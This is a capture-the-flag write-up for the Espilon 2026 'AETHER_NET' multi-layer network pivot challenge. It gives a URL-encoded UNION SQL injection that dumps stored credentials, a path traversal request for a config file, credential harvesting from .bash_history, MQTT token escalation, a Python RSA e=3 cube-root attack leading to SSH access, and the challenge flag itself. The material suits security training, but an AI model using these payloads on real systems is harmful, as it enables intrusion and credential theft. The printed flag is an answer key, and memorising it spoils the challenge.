ESPILON-CTF-2026-Writeups/Misc/AETHER_NET
2026-03-26 17:33:41 +00:00
..
README.md write-up: Misc/AETHER_NET/README.md 2026-03-26 17:33:41 +00:00

AETHER_NET

Field Value
Category Misc
Difficulty Insane
Points
Author Eun0us
CTF Espilon 2026

Description

Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted from the previous layer.

lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22

TL;DR

5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password → SSH to deus-admin → read the flag.


Tools

Tool Purpose
nc Access lain-terminal and bear-iot
curl SQL injection on alice-web
Python 3 + gmpy2 RSA cube root attack
ssh Final access to deus-admin

Solution

Layer 01 — Entry Terminal

nc <host> 1337
cat notes.txt
cat /var/log/network.log
cat ~/.bash_history

notes.txt maps the full topology and says:

"The search function... doesn't sanitize input. The system_config table has everything."

network.log lists all five nodes and their ports. .bash_history shows partial MQTT credentials and previous curl commands.

📸 [screenshot: notes.txt showing network topology map]


Layer 02 — Alice-Web (SQL Injection)

Confirm the hint:

curl http://<host>:8080/api/status

Response: "The search endpoint passes input directly to SQLite. The system_config table contains network credentials."

UNION SQLi on /search?q=:

The query is SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'

curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"

Decoded: ' UNION SELECT null,key,value,description FROM system_config--

Response extracts:

{"results": [
  {"id": null, "name": "mqtt_user",   "room": "operator",     "status": "IoT broker username"},
  {"id": null, "name": "mqtt_pass",   "room": "<BEAR_PASS>",  "status": "IoT broker password"},
  {"id": null, "name": "admin_token", "room": "<TOKEN_HEX>",  "status": "24-char admin token"},
  ...
]}

Alternative — path traversal:

curl "http://<host>:8080/docs?file=../../var/aether/config.json"

Returns the full instance config with all credentials.

📸 [screenshot: SQLi response returning mqtt_pass and admin_token from system_config]


Layer 03 — Bear-IoT (Custom MQTT)

nc <host> 1883
CONNECT operator <mqtt_pass>
ADMIN <admin_token>
LIST

LIST reveals two hidden topics:

  • wired/system/config
  • wired/knights/<random_10_chars>
SUBSCRIBE wired/system/config

Response includes RSA parameters:

RSA Public Key:
  n = <512-bit decimal>
  e = 3
Ciphertext (hex): <hex_string>
SUBSCRIBE wired/knights/<random>

Response (base64-decoded): "e=3. No padding. The plaintext is short. Cube root gives the key."

📸 [screenshot: MQTT response with RSA public key and ciphertext]


Layer 04 — RSA Cube Root Attack

Conditions for the attack:

  • n is 512 bits
  • e = 3
  • Plaintext m ≤ 20 bytes (m < 2^160)
  • Since m^3 < n, modular reduction never occurs: c = m^3 exactly
  • Therefore: m = ∛c (integer cube root)
import gmpy2

n = <n_value>
c = int("<ciphertext_hex>", 16)

m, exact = gmpy2.iroot(c, 3)
assert exact, "Cube root is not exact"

deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
print(f"SSH password: {deus_pass}")

📸 [screenshot: Python script computing the cube root and printing the SSH password]


Layer 05 — SSH to Deus-Admin

ssh deus@<host> -p 22
# password from Layer 04
cat flag.txt

📸 [screenshot: SSH session showing the flag in flag.txt]


Key concepts

  • UNION-based SQLi: ' UNION SELECT ... FROM system_config-- exfiltrates hidden credentials
  • Path traversal: ../../var/aether/config.json bypasses directory restriction
  • Custom MQTT escalation: ADMIN <token> unlocks hidden broker topics
  • RSA e=3 cube root attack: When m^3 < n (no reduction), c = m^3 exactly — integer cube root recovers plaintext in O(log n) time

Flag

ESPILON{4eth3r_n3t_d3us_4dm1n}